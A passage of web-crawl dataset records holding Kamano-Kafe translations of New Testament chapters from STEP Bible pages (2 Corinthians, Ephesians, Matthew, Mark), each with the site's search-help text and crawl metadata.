'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.23","date":"2018-04-24T03:01:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00050.warc.gz","language":"kze","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999885559082031}","num_words":928,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 3\naúná-aimba simái tarúmakain-kwasai.1 mináímbá kwésimatimundayaveta kentáá súwíꞋa íma maé kwéiyundayaawe. évakarawai aúvái agaimái tímúwasa maimaésa mátímúwaꞋa awánéꞋa kaweꞋán-owe siráavo kesáá íma mirá éta kentáásí mayáírár-áúváí agaimaéta mátíménata awánéꞋa aamoí umásinkaigwae-ita íma kweéta íma kentáásí mayáírár-áúváí agáyáaro kwésumpo Áánútu siꞋmarówata kwená mayáíyá kwémayaumne. 2 évakarawaimo óꞋowiti mayáígóná aúváímo awánésamo aamoimó umátínkáantemba évaka-kwaasi keinárawaꞋa tuwánésa sésa áraiꞋa Ísu Káráísiti Póroe mayáí kwémayaan-kwaasiye kwenté tiꞋmarówasa kwenáái tasimátímúwasa isésa áraire suwaná Káráísiti kwená kwaási-iꞋa umátinkowana Áánútu asirayánkwáráwáín-amanko miwítirumpimba máyáísasa máyáawe kwésewe. mindáyaveꞋa keinárawaꞋa Káráísiti agairáin-auvairaamba umái máyáawe. Ísu Káráísitina mayáígóná aúvái óntankaꞋo agairáin-auvairaamba ímanivo kempáꞋá kwáyáim-bayaima tuwánaantaveta aamoiyá kwéumatinkaundayaawe.\n4 Ísu Káráísiti kentáá asirayámbá kwésimisata Áánútu aúrankaꞋa asiramái méta mináíntá kwésune. 5 kentáávímbá kesí asirayámbá íma kwáyáísata mimbáyáíyá kwémayaumpo Áánútuna asirayándéíyá mimbáyáíyá kwémayaumne. 6 Áánútu aúná-aimba simái tarúmakain-aimba kosimátimewananaya kwenaúrankaꞋa arupí umátinkainasa ménaaontavena asirayántá símakaiye. mináúná-áímbá simái tarúmakain-aimba Áánútu Mósesimba simámakain-amaamba ímanivo Áánútun-amanko kentáásirumpimba máyáísata kwemó siráintenta kwéunda-aimban-iye. Áánútu Mósesimbo simámakain-amaamba íma kanaán-umai kwáráantavesa Áánútu aúrankaꞋa íma arupí umái mésa puwí-ámpáꞋá kwégovo Áánútun-amanko imáyáaya símísata Káráísitin-aaiyaveta áraire séta aúnáiꞋa umáíya maíꞋmaita kwéune.\n7 naaóváꞋá Áánútu Mósesimba óntan-kwandaairaꞋa siyáánkai-amaamba agaimái ámakaimba minámáámbá kwaránáe sésa umbá íma kanaán-umai kwarésa arááísuꞋmae kwéiyesa mindáyavesa puwí-ámpáꞋá kwégowe. Áánútu Mósesimbo ámáámbo simámakonkaꞋa Áánútumpakemba ságayamba paáréna Mósesi óikaꞋa ságayamba paárúwana óntan-kwandaairaꞋo siyáánkai-amaambo agaimarómba maimaéna Ísareri-kwaasitopaꞋa kumúwasa Mósesi óikaꞋa ságayamba kwéna póna túgáyáagaya úwasa íma kanaán-umai awánowana kwéna naaémba uwákuraiye. 8 naaóváꞋá Áánútu Mósesimba siyáánkai-amaamba simámakonkaꞋa Áánútuna ságayamba paárúmbanivo ívéꞋa Áánútu kwenamankómbá aiꞋmáráísana kwená kwaási tirumpimbá máyáiye-aimba kwévaarimba póna Áánútuna ságayamba anómban-iye. 9 Áánútu Mósesimba siyáánkai-amaamba simámakomba pósa íma kanaán-umai kwáráantavesa puwí-ámpáꞋá kwégowe. Áánútu minámáán-áímbá paárúnkaꞋa kwená ságayamba kwáyowana ívéꞋa Áánútu kwenamankó kwenaúrankaꞋo arupí umátínkáin-aimba kwévaarisana póna kwená ságayankona asirayámbá anómba kwáyáiye. 10 ívéꞋa aúná-aimba simái tarúmakain-aimba kwáyáísana usáyaaitarai-sagayankona asirayámbá kwáyáimba póta séta Áánútumo Mósesimbo siyáánkai-amaambo simámakai-sagayankona asirayámbá úwoisamba iyéyá kwésune. 11 Áánútu Mósesimbo simámakain-aimba kwááyu-aimban-ivo aúná-aimba simái tarúmakain-aimba kwaíkwaiꞋa ínín-aimba anón-aimban-iye. kwááyu-aimba simámakonkaꞋa ságayankona asirayámbá kwáyombanivo ívéꞋa kwaíkwaiꞋa ínín-aimba paárisana póna anó-sagayamba asirayámbá kwáyáiye.\n12 mináímbá asirayán-áímbá kwaíkwaiꞋa ínín-aimba ísaraunda póta íma sááꞋa kwégaisata asiramái mináímbá kwésimatimundayaawe. 13 Mósesimo uráintemba íma miráyá kwéune. Mósesi Ísareri-kwaasiyavena séna kesóikaꞋo kwáyái-sagayamba uwákwimba awánaavo séna ampaantanéí óikaꞋa káátaraiye. 14 Ísareri-kwaasi tááꞋnei isésa tirunté marésa maémáenkakemba pósa ívéꞋa agáyáan-kwaasi Áánútumo simáímo tarúmakon-aimba aúváívinkemba awánamai isésa mináínkóná ááimba íma kaweꞋá umái kwéisaawe. Mósesimo óikaꞋo ampaantanéí káátamakowasamo ságayambo ímo awánaraantemba ívéꞋa Áánútun-aai aúváívimba awánaamba miwítí imáyáago ítáguraisana kumayuꞋá isasá pósa mináúváígóná ááimba íma awánamai kaweꞋá kwéowe. Ísu Káráísitiye tarúmai máyáawaima Áánútun-aai aúváíma awánésa mináínkóná ááimba kaweꞋá umái kwéisaawe. 15 ívéꞋo máyáan-Isareri-kwaasigwaraꞋa Áánútun-aai Mósesimo agaimakón-aimba awánaamba miwítí imáyáago ítáguraisana kumayuꞋá isasá pósa mináínkóná ááimba íma ísaraavo 16 Ísóigo Ísu KáráísitinopaꞋo tembá minkúmáyú-tántááꞋá ánásainkakemba mináínkóná ááimba kaweꞋá umái kwéisaawe. 17 Ísóigo Ísu Káráísitiyemo súnda kwenamankóntávéꞋa kwésune. Ísóigon-amankomo tirumpimbó máyáiwai sáwí-imayaagomo tátokaimpinkemba kwéiyatinkaisasa kaweꞋá umái kwémaewe. 18 Ísareri-kwaasiti imáyáagomo ímo kaweꞋó umáímo ísaraantemba kentáásí imáyáago íma mirá isanayá Ísóigona ságayanko kentáá sáma kwégamasinkaintaawe. Ísóigo Ísu Káráísitin-amanko kentáásirumpimba ména kwenkááníꞋa umásinkenaya kwená ságayamba kwésimenaya mirá úmae kwéiyiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.3","date":"2018-04-25T07:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00542.warc.gz","language":"kze","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999974966049194}","num_words":623,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 3\nPóro óꞋonkaa-kwaasivimba mayáí mairáin-kwasai.1 mindáyaveꞋa kemá Póro óꞋonkaa-kwaasi Ísu Káráísitin-aai simátimewandarakemba áwááꞋa sésa ándávaꞋa mósínkarowaꞋa Ísu Káráísitina mayáí-kwáásí éꞋa keinárawataveꞋa námúnaa kwésune. 2 Áánútumo úwoi túwaꞋnaa íníntavena mimbáyáí símakowana mimbáyáígó kaweꞋá kwéumatinkaimba áꞋa ísaraawe. 3 Áánútumo toꞋmayaa úmakena aúpáꞋó makáimba agaráásinkowaꞋa ááéma mináímpínkémbá ákí-aimba aúváívimba agaimakáumne. 4 ááéma Ísu Káráísitin-aai aúpáꞋá makáimba simásimuwaꞋa ísaraumne. maanáúváímó agayáúnda ísámai kaweꞋá oro. 5 Áánútu naaóváꞋó máyówai mináímbá íma simátimena ívéꞋa Áánútun-amanko kwená aantá-kwaasiyaawe kwenáái simátíméwaiye simásímakaiye. 6 mináséí-kwásáí maarán-áímbán-iye. Yútaa-kwaasiyaamo áséi-kwasaimo ísaraundantentaan-umai óꞋonkaa-kwaasi ísaraantavena Áánútu kaweꞋá umátínkáísasa óꞋonkaa-kwaasiye Yútaa-kwaasiye mimbóráíꞋa umái máyaundayaawe. Áánútu séna Ísu Káráísitina mayáíyávéꞋa mirá ónaumne simái asirámakaimba póna íma Yútaa-kwaasiye suꞋmainivo óꞋonkaa-kwaasiyavenagwaraꞋa simái asirámakaiye.\n7 áséi-kwasai simátimenaundayavena Áánútu úwoi súwaꞋnaa ena kwená asirayámbá siména kwená mayáí-kwáásí-íꞋa umásínkaraiye. 8 Áánútuna kwaási kembá usáyaaitaraawaꞋa kíto-kwaasi póꞋa óꞋonkaa-kwaasi áséi-kwasai Ísu Káráísitina mayáí óꞋom-bayai usáyaaitaraim-bayai-aimba simátimenaundayavena usásisinkaraiye. 9 Áánútu simásimena séna toꞋmayaa úmareꞋo aúpáꞋó maréꞋo mirá ónaumne siráunda-aimba simái ságamatimiyo Áánútu simásímakaiye. Áánútu amápa-tantaaꞋo taróruraiwai aivaꞋá mináímbá aúpáꞋá makáimba kwaíkwaiꞋo eémáyáimba 10 ívéꞋa kárákwiraawaiye asirayánkwáráwáíyé kwíyómpaꞋo máyáawai Áánútuna kwaási tuwánésa sésa Áánútu óꞋoran-kawer-imayaagwarawain-iye kwésewe. 11 ááinkaꞋa Áánútu imáyáa éna toꞋmayaa éna séna mirá ónaumne séna Ísu Káráísiti kentáásí Ísóigomba imáyáa amúwana mirá uráiye. 12 Ísu Káráísitiye tarúmaiya máyaundayavetaawe kwenááiyaveta áraire kwésundayavenawe íma sááꞋa kaisatá Áánútunopata úwoiya kwégune. 13 mindáyaveꞋa simátimeꞋa séꞋa keinárawaꞋa áséi-kwasai simátimewandarakemba áwááꞋa sésa síꞋa iníꞋa umásínkaraavo asiramái méꞋa íma ivátuwaaro. umbai-yántááꞋó kesópaꞋo kwáyáimba kanaán-ivo úwoi aamoí oro.\nKáráísiti aruntá kwésimin-kwasai.14 mináíntávéꞋa imáyáa kwéeꞋa Áánútu kentáásivowa aúrankaꞋa kívaireꞋa méꞋa námúnaa kwésune. 15 amápar-akumba marapáꞋá máyáawaiye kwíyómpaꞋa máyáawaiye miwítí ááimba Áánútuma isaꞋá kwenaúrankaꞋa kívaireꞋa méꞋa maarán-dámúnáá kwésune. 16 Áánútun-amanko kentirumpimbá ména óꞋoran-anondako póna asirayámbá timínaꞋa asiramái méꞋa 17 Ísu Káráísitin-aaiyaveꞋa áraire kwésentavena kentirumpimbá ména kwemá tirumbó kwétimewaina ááimba isaꞋá kwentávéꞋa asiramái tirumbá kwéameꞋa ménaaontaveꞋa námúnaa kwésune. 18 Káráísiti amáparawaivimba arumbá kwétimimba anómba kwétimiye. Káráísiti asirayámbá timínaꞋa keináraware Áánútuna kwaásiye amápaꞋa séꞋa Káráísiti kentáávimba arumbá kwésimimba anómba kwésimimba póna íma ánásaniye sénááontaveꞋa námúnaa kwésune. 19 Ísu Káráísiti amáparawaivimba arumbá kwétimimba anómba kwétimimba íya kanaán-umaiya awánasaraundayaanivo ívéꞋa kítokaꞋa awánéꞋa naaémba awánamai kaweꞋá ónááontaveꞋa námúnaa kwésune. asirayámbá Áánútumpimba anómba kwéna keinárawapimba anómba kwénintaveꞋa námúnaa kwésune.\n20 imáyáamo kwéetaamo Áánútumbo kwéaisaa-undaya sáwíyan-tantaaꞋan-ivo kwená asirayándéímó kwésuwaꞋnaa-enayaamo kwéimba mindá usáyaaitarain-tantaaꞋan-iye. 21 Áánútuna kwaásiya Ísu Káráísitiyeya tarúmaiya méta ívétaamo máyaunda-kwaasiye naaémbo paáronaaon-kwaasiye séta kwenáwíꞋa anómba úmae kwéiyimba árair-aimba iyéyá símae iyónaundayaawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Eph.3","date":"2018-04-25T22:14:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947968.96\/warc\/CC-MAIN-20180425213156-20180425233156-00509.warc.gz","language":"kze","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999932050704956}","num_words":517,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 51 kentáásúma kwááyu-nankaa-suwawaata isatá minkúwawaakwarata marapátá méta maarán-áímbá kwésune. maankwááyú-námbá tawísígwinata Áánútumo kwíyómpaꞋo úmakain-daumpaꞋa ménaundayaawe. mindámbá kwaási íma úmakaan-damban-ivo Áánútu kwená imáyáavinkemba úmakaimba kwaíkwaiꞋa ínín-damba mindá kwíyómpaꞋo ménaunda-kuwawaaꞋan-iye. 2 marapáꞋó máyaundaya anón-imayaa éta kwíyómpaꞋo ménaunda-kuwawaata simínkwáeya kwéseta 3 maarán-áímbá íma séta puwéta súwawaar-íyaainkaanta umáíya máyaumne íma kwésumpo maarán-áímbá séta kwíyómpaꞋo ménaunda-suwawaata naankáántá ónáeya kwésune. 4 kentáásúma kwááyu-nankaamba isatá máyaundaya umbai-yántááꞋá kwáyáintaveta anón-imayaa éta marapá-súwawaataamo tuwánaunda-aimba íma séta kwíyómpaꞋo ménaunda-suwawaata mayánaunda-ainta kwésune. miráyá ónaunda marapáké-súwawaakaanta aúkáinata maíꞋmaita ónaumne. 5 miráyáámó ónaundayavenaya Áánútu kentáá toꞋmayaa éna kwenamankómbá aiꞋmarówana kentáásirumpimba kumbáyáísata mindáyaveta toꞋmayaa umásínkarainta mirá íníye kwésundayaawe.\n6 Áánútu kwenamankómbá aiꞋmarówana kentáásirumpimba kumbáyáintaveta kentáásí imáyáa asiramáíya máyaumne. marapáꞋó máyaundaya Ísóigo Ísu Káráísitiyeya íma kwíyómpakaaniꞋa umáíya máyaundayaawe. 7 ívéta marapáꞋá máyaundaya kwenaneꞋá íma kwéawaneta kwenááiyaveta áraire séta kwenkáꞋá agevamáíya méta 8 kentáásí imáyáa asiramáíya méta puwétaamo kwíyómpaꞋo Ísóigo Ísu Káráísitiyemo métaaraiya aamoí úsino. 9 maankáꞋó máyaundayaawe kwíyómpaꞋo uménaundayaawe Áánútumbo arááímo kwétainiꞋa ónáe súndaya póna aamoí umásínkáisintaawe. 10 amáparawaiya Ísu Káráísiti aúrankaꞋa máyáananaya kesáámó máyaundawaina ááintavena sísaa ena marapáꞋó máyáamba kaweꞋó kwéowai kaweꞋ-méyámbá tiména sáwíꞋo kwéowai sáwí-meyamba timínímba póta kwembó arááímo kwétainiꞋa ónáeya kwésune.\nÍsuwemo tarúmaimo máyaundaya aúnáiꞋa umáíya máyaunda-kwasai.11 Ísóigo máyaundawaina ááimba sísaa íníntaveta kwentávéna sááꞋa kwégaisata kwenópaꞋa tígwáe séta kwaási kwétavisundayaawe. Áánútu máyaundawaina ááinta suwánaisaꞋa keinárawatemo máyaundawaina ááinta kwésuwanaamba kaweꞋá kwéiye kwésune. 12 kentáá súwíꞋa íma maé kwéiyundanivo máyaundawaina ááintaveꞋa aamoí ónááontaveta máyaundawaina ááinta kwésimatimune. aamoí éꞋa kentááyávésamo sáwí-aimbo kwésen-kwaasi táái kanaán-umai anondá simátimenaaontaveta máyaundawaina ááinta kwésimatimune. minkwáásí paáká-túwawaare suꞋmai tuwánésa kawe-kwáásímán-owe sésa tirumpin-ímáyáá íma awáresa kawe-kwáásímán-owe kwésewe. 13 évakarawai kentááyávésa uwoꞋaóꞋá kwéowe kwésewata kanaán-iye séta Áánútuntaveta imáyáa éta miráyá kwéunasaya évakarawai kentááyávésa kawer-ímáyáágwárá-kwáásímán-owe kwésewata kanaán-iye séta keinárawataveta imáyáa éta miráyá kwéune. 14 amáparawai sáwíꞋo kwéomba mimbéyámbá maésa púwóvo séna Ísu Káráísiti mimbóráwáí kentááyávénawe séna pukáimba póta Káráísiti arumbá kwésimiwaina mayáíyé suꞋmaiya kwémayaumne. 15 amáparawaiya sáwí-imayaago tátokaimpinkemba iyásinkanintavena Ísu Káráísiti pukáimba póta kentáámó sirááímo kwétainiꞋa íma kwéeta kwembó arááímo kwétainiꞋa kwéeta máyaumne. mirámó ónaundayavenaya kentááyávénawe séna puwúwana Áánútu usásinankaraiye.\n16 ááéma marapáꞋó máyáan-kwaasiti ááimba kwaréta évakarawaiyaveta kawe-kwáásímán-owe séta évakarawaiyaveta sáwí-kwaasiman-owe siráumpo ívéꞋa íma miráyá kwéseta ááéma marapáꞋó máyáan-kwaasiti ááimba kwakáunda Káráísitintaveta úwoi-kwaasiman-iye siráundaya ívéꞋa íma miráyá kwésune. 17 mindáyaveta Ísu Káráísitiyemo tarúmaimo máyaundaya aúnáiꞋa umáíya méta ááémo uráundanten-imayaa íma éta ívéꞋa aúná-imayaa umáíya máyaumne. 18 Áánútu mirá kwéivo ááéma Áánútuna namuro-kwáásíráámbá umáíya máyaawananaya Áánútu kesí kwaási-iꞋa umái maígwáe séna Ísu Káráísitimba aiꞋmarówana kentááyávénawe séna kumpuwówana kwená kwaási-iꞋa umásinkenaya séna kesí kwaási-iꞋa ígwáe-aimba kosimátíméro séna siꞋmákaisata mimbáyáíyá kwémayaumne. 19 mináínkóná ááimba maarán-áímbán-iye. Ísu Káráísiti amáparawaiyavenaya imáyáa éna pukáimba mindáyavena Áánútu imáyáa éna kwaásimo sáwíꞋo kwéomba íma aaivimbá kwémaitinkaivo kwená kwaási-iꞋa kwéumatinkena kentááyávénawe séna kesí kwaási-iꞋa ígwáe-aimba kosimátíméro séna siꞋmákaisata kwésimatimune.\n20 kesáá Ísu Káráísitina aantá-kwaasiya únanaya simásímísata keinárawaꞋa kwésimatimundayaawe. Áánútu keinárawatavena asiramái siráisata siráin-ainta kwésimatimune. Káráísiti pukáintavena Áánútuna namuro-kwáásíráámbá umái máyáampinkemba kwená kwaási-iꞋa kwéumatinkaivo kwenááiyaveꞋa owé seró. 21 Ísu Káráísitimpimba sáwíꞋo ií-áímbá íma kwáyowana Áánútu kesáámó sáwíꞋo únda-aimba kwempíntá ámakaiye. Káráísitiye tarúmaiya méta Áánútu aúrankaꞋa arupí umáíya ménaundayavenaya Áánútu mirá úwana Káráísiti kesáámó sáwíꞋo únda-aimba maimaéna mindánankwaraꞋa pukáimba póna Áánútu kwená namuro-kwáásírááníꞋa umáíya máyaundawai kwená kwaási-iꞋa kwéumasinkaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.5","date":"2018-04-21T23:26:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945459.17\/warc\/CC-MAIN-20180421223015-20180422003015-00544.warc.gz","language":"kze","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999960660934448}","num_words":637,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 28\nÍsu pukáimpinkemba usásinkain-kwasai.1 Yútaa-kwaasimo agándon-kanaa ánásowasarai sontaaráꞋá usá aaváyaavimba aaváúmá usónkaꞋa Máríyaa Mágátáraa-naopaken-ininko úwana araámáó úwasarai Ísumbo utamánkáapaꞋa koawánanae sésarai kuyambá 2 anóm-barima tówana Ísóigona kwayóꞋnákó kwíyómpakemba kuména kwenóikakemba aaváúmó usénamo intembá kwéuwana kwená unáánkwátóirakemba ainánkómó intembá kwayáníꞋa kwégowana kuména murí-áigón-óikaꞋa makón-ontamba kunakwátuwena minóntánkáꞋá maraꞋá máyowana 4 mimbúrí-áíráꞋó kárákwiyuwai ávááraumai tááꞋa kówasa tiyántámbá kwétowana tímáávomba kavúkuraiye.\n5 kárákwiyuwai mirá kwéuwasarai minkáér-ínímbá kuyaná kwíyómpakewai minínínkáí simátimena séna íma tááꞋa kaíno Ísumba taairaꞋá tuvúwówana púwíwaimba taawánayae sékaimo téyamba ísaraumne. 6 kwemó siráintemba pukáimpinkemba usásinena kówéna íma maankáꞋá máyáivo utamánkaraampimba uawánékai 7 isaaisékai kwená kwayó-kwáásí kosimátimekai sékai Ísu pukáimpinkemba usásinena kentí aivaꞋá Káríri-ayampaꞋa kwínaꞋa koawánanaaowe. mináímbá kosimátímékaiyo siráiye.\n8 súwasarai minínínkáí avekáámbá utamánkópaꞋa tuwésarai táátavesarai uyaná tirunkó aamoí úwasarai kwená kwayó-kwáásí kosimátimiyantavairai aampaꞋá kuyambá 9 Ísu minínínkáí tuwánéna séna náávara máyaayano súwasarai anóndakoma iyé-ímáyáá ésarai kwenaísamaivimba tamésarai aísamairaꞋa tátoresarai kwená imáyáa mósá máróyana 10 Ísu simátimena séna kesíváꞋawaawi kosimátimiyasa Káríri-ayampaꞋa komésa suwánaaro Ísu siráiye.\nutámárópaꞋa kárákwiraawaiti kwaasái.11 Ísu mináímbá súwasarai kwemó súntemba minínínkáí aampaꞋá kuyambá utámárópaꞋo kárákwiyun-i-kwaasi évakarawai Yérúsaremu-naopaꞋa kwésa mono-káwáá-kwáásí paárún-tantaaꞋa kosimátímúwasa 12 mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye torupamái mésa aaí simái mimbórá-áímbá símaresa utámárópaꞋo kárákwiyun-i-kwaasi anón-ontamba timésa 13 simátimesa sésa maarán-áímbá simátíméro. noꞋwáámba suún-kwaiguráunasaya Ísuna kwayó-kwáásí tésa kwenáúma umóyámbá maimaésa kóuraawe kosimátímaꞋmaeꞋa nááóro. 14 Páírátimo mináímbó isáínataamo éta moórá-ainkwaraꞋa simáménanaya keinárawaꞋa íma aaivimbá maitinkáníye suwasá 15 miní-kwáásí isésa óntamba maimaésa kurésa sunten-áíné suꞋmai kosimátímaꞋmae nááúwana mináínkó kóyáwé úwasa ísaraamba ívékwaraꞋa Yútaa-kwaasi kwéisaawe.\nÍsuna kwaási kwembá awánaraan-kwasai.16 Ísuna kwayó-kwáásí sísamaivakemba moórá kumbaimái-kwaasi Káríri-ayampaꞋa Ísumo minómákáꞋá komáéromo sirón-omakaꞋa komáyówana 17 miwí túrankaꞋa paárúwasa awánésa kwená imáyáa mósá márówasa évakarawai kaer-ímáyáá ésa sésa Ísu pukáimpinkemba usásinkaiyo. óꞋowawa iyó suwaná 18 Ísu miwítí egwaaꞋá taména séna Áánútu asirayámbá siména séna kwíyómpare marapáré kárákwiyuwo simbá 19 póꞋa mindáyaveꞋa amápaꞋ-maravaꞋa kesáái simátímaꞋmae nááíyasa kesí kwaási-iꞋa ésa kesivowé kemá kwenááninkowe kwenamankóé tarúmai máyaiyaꞋa kentáásúwíkaꞋa nombá pétinkeꞋa 20 simátímakaunda-aimba kwarésa asiramái tátoraigwae séꞋa simátímaꞋmae íyóro. maramá kwáyaindaraꞋa keinárawate méꞋa ívéꞋo kwáyáin-tantaaꞋo ánásaindaraꞋa keinárawate ménaundayaveꞋa imáyáa úmae íyóro Ísu siráiye.\nkemá Mátíyu súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.28","date":"2018-04-21T09:23:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945111.79\/warc\/CC-MAIN-20180421090739-20180421110739-00025.warc.gz","language":"kze","language_score":0.9998407364,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9998407363891602}","num_words":469,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 3\nayáámba kawévaigurain-kwaasigona kwaasái.1 moórá-tawai Ísu monoꞋ-náúmpáꞋá iyúmba moóráwai ayáámba kawévaiguron-kwaasi máyowasa 2 aaivimbá mayankánáe kwésuwai mésa Ísuntavesa sésa agándairaꞋa póna minkwáásímó kaweꞋó umánkainataamo éta tátoꞋmaiya aaivintá mayankánaumne sésa Ísumba awánomba 3 Ísu ayáámba kawévaiguron-kwaasiyavena séna kemó máyaundaraꞋa tiyó súwana mirá úwana 4 Ísu miwíyávéna séna kentáásí ámáán-aimpimba nóin-aina kwáyáiyo. agándai-kanaaraꞋa póta kaweꞋ-máyáíyá kwémayaum. sáwí-mayaiya kwémayaumno. kwaási áwaꞋnaa onanayá kawerá umáíya méni. inkámónanaya puwíníyo. tísaa ena súwasa íma aaí suwaná 5 Ísu móyuwana meyuwana éna áwááꞋa títuwena kwaásiyavaimo ímo imáyáamo kwéontavai arumbá kwéuwana ayáámba kawévaiguron-kwaasiyavena séna enayáámba árútuwaao súwana ayáámba árútuwowana kaweꞋá umánkowasa 6 ámáán-kawaa-kwaasi monoꞋ-náúmpáꞋá tuwésa avekáán-umai Érótina kwaási torupésa Ísumba nóraumaiya tuvuwónaundayaꞋiyo sésa ámááyu-aimba siráawe.\nsáwívarawai nonkwaaúnkón-awampaꞋa kuráan-kwasai.7 Ísu tiyuwéna kwená kwayó-kwáásí tíꞋmaena Káríri-nonkwaaunkon-awampaꞋa kúmba sáwíva-kwaasiyomba Kárírivaken-kwaasi Yútiyaavaken-kwaasi 8 Yérúsaremu-naopaken-kwaasi Ítúmiyaa-ayampaken-kwaasi Yótáni-nonkona 